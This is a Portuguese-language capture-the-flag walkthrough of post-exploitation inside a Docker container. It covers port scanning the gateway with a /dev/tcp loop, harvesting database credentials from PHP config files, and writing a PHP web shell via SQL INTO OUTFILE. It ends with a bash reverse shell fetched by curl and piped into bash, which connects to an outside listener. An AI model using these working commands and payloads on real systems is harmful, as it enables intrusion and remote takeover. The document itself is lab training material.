Docker
Task 16
Depois de estabilizar o shell, podemos começar com a enumeração pós-exploração, ou seja, encontrar maneiras de escalar privilégios.
Em um sistema Linux padrão, deve estar bastante vazio. No entanto, no contêiner, o arquivo é preenchido com entradas do grupo de controle, podemos confirmar que estamos em uma instância docker
www-data@f3d5e5247683:/var/www/admin$ cat /proc/1/cgroup
cat /proc/1/cgroup
12:freezer:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
11:blkio:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
10:hugetlb:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
9:net_cls,net_prio:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
8:devices:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
7:cpu,cpuacct:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
6:rdma:/
5:perf_event:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
4:cpuset:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
3:pids:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
2:memory:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
1:name=systemd:/docker/f3d5e524768348feffab6658b953af06f8cce5141d605b1d2004845d2230653e
0::/system.slice/containerd.service
Podemos verificar o endereço ip do conteiner
www-data@f3d5e5247683:/var/www/admin$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.100.100 netmask 255.255.255.0 broadcast 192.168.100.255
ether 02:42:c0:a8:64:64 txqueuelen 0 (Ethernet)
RX packets 2807 bytes 207794 (207.7 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2111 bytes 5269303 (5.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 428 bytes 240317 (240.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 428 bytes 240317 (240.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
O endereço IP atual é 192.168.100.100
. O gateway do contêiner pode ser determinado com arp -a
.
www-data@f3d5e5247683:/var/www/admin$ arp -a
arp -a
ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1) at 02:42:b2:6e:75:35 [ether] on eth0
Agora vamos verificar se existe alguma porta aberta neste container
www-data@f3d5e5247683:/var/www/admin$ for i in {1..10000};do 2>/dev/null > /dev/tcp/192.168.100.1/$i && echo Port $i open;done
</dev/tcp/192.168.100.1/$i && echo Port $i open;done
Port 22 open
Port 80 open
Port 3306 open
Port 8080 open
Aqui, vemos que o gateway possui 4 portas abertas:
Porta 22 – SSH
Porta 80 e Porta 8080 – servidores web
Porta 3306 – SQL
Qual é o gateway padrão para o contêiner Docker?
192.168.100.1
Qual é a porta web alta aberta no gateway do contêiner?
8080
Qual é a porta baixa do banco de dados aberta no gateway do contêiner?
3306
Task 17
No /var/www/wordpress/
diretório, encontramos um arquivo chamado wp-config.php
. Este arquivo contém credenciais do banco de dados. No entanto, DB_HOST
refere-se a localhost, que não é nosso alvo. Portanto, essas provavelmente não são as credenciais que desejamos. Ainda os manteremos em mente.
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'admin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'DBManagerLogin!' );
A seguir, no /var/www/admin
diretório, existe um arquivo chamado db_connect.php
. Este arquivo contém exatamente o que estávamos procurando! Credenciais de banco de dados para o DB_SRB
192.168.100.1
!
www-data@f3d5e5247683:/var/www/admin$ cat db_connect.php
<?php
define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');
$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);
if($connection == false){
die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>
Agora podemos utilizar as credenciais obtidas para nos conectarmos ao servidor SQL em 192.168.100.1
www-data@2981aa3e2c18:/var/www/admin$ mysql -u admin -p 192.168.100.1
Enter password:
Isso nos dá acesso total ao banco de dados! Agora podemos pesquisar dados confidenciais. O mais interessante para nós seriam algumas credenciais que poderiam ser usadas para acesso SSH ao gateway.

Qual é o endereço do servidor do banco de dados remoto?
192.168.100.1
Qual é a senha do banco de dados remoto?
!123SecureAdminDashboard321!
Qual é o nome de usuário do banco de dados remoto?
admin
Qual é o nome do banco de dados remoto?
DashboardDB
Qual nome de usuário pode ser encontrado no próprio banco de dados?
gurag
Exploração do SQL - Task 18
Vamos injetar um código PHP para obter execução de comando.
select '<?php $cmd=$_GET["savi"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell_savi.php';

Com qual usuário o banco de dados está sendo executado?
www-data
Task 19
Então, vamos estabelecer um shell reverso. Portanto, como pode ser visto na captura de tela abaixo, primeiro criamos uma carga útil de shell reverso. Em seguida, hospedamos essa carga em um arquivo em um servidor HTTP.
cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.50.74.4/4444 0>&1
Agora podemos iniciar um ouvinte usando Netcat ou Metasploit para capturar seu shell reverso depois de executado.
nc -lvnp 4444
Pode usar o RCE para obter um shell na máquina do alvo. Comando usado:
curl 'http://192.168.100.1:8080/shell_savi.php?savi=curl%20http%3A%2F%2F10.50.74.4%3A900%2Fshell.sh%7Cbash%20%26'

E com obtemos o shell reverso em nossa máquina

Last updated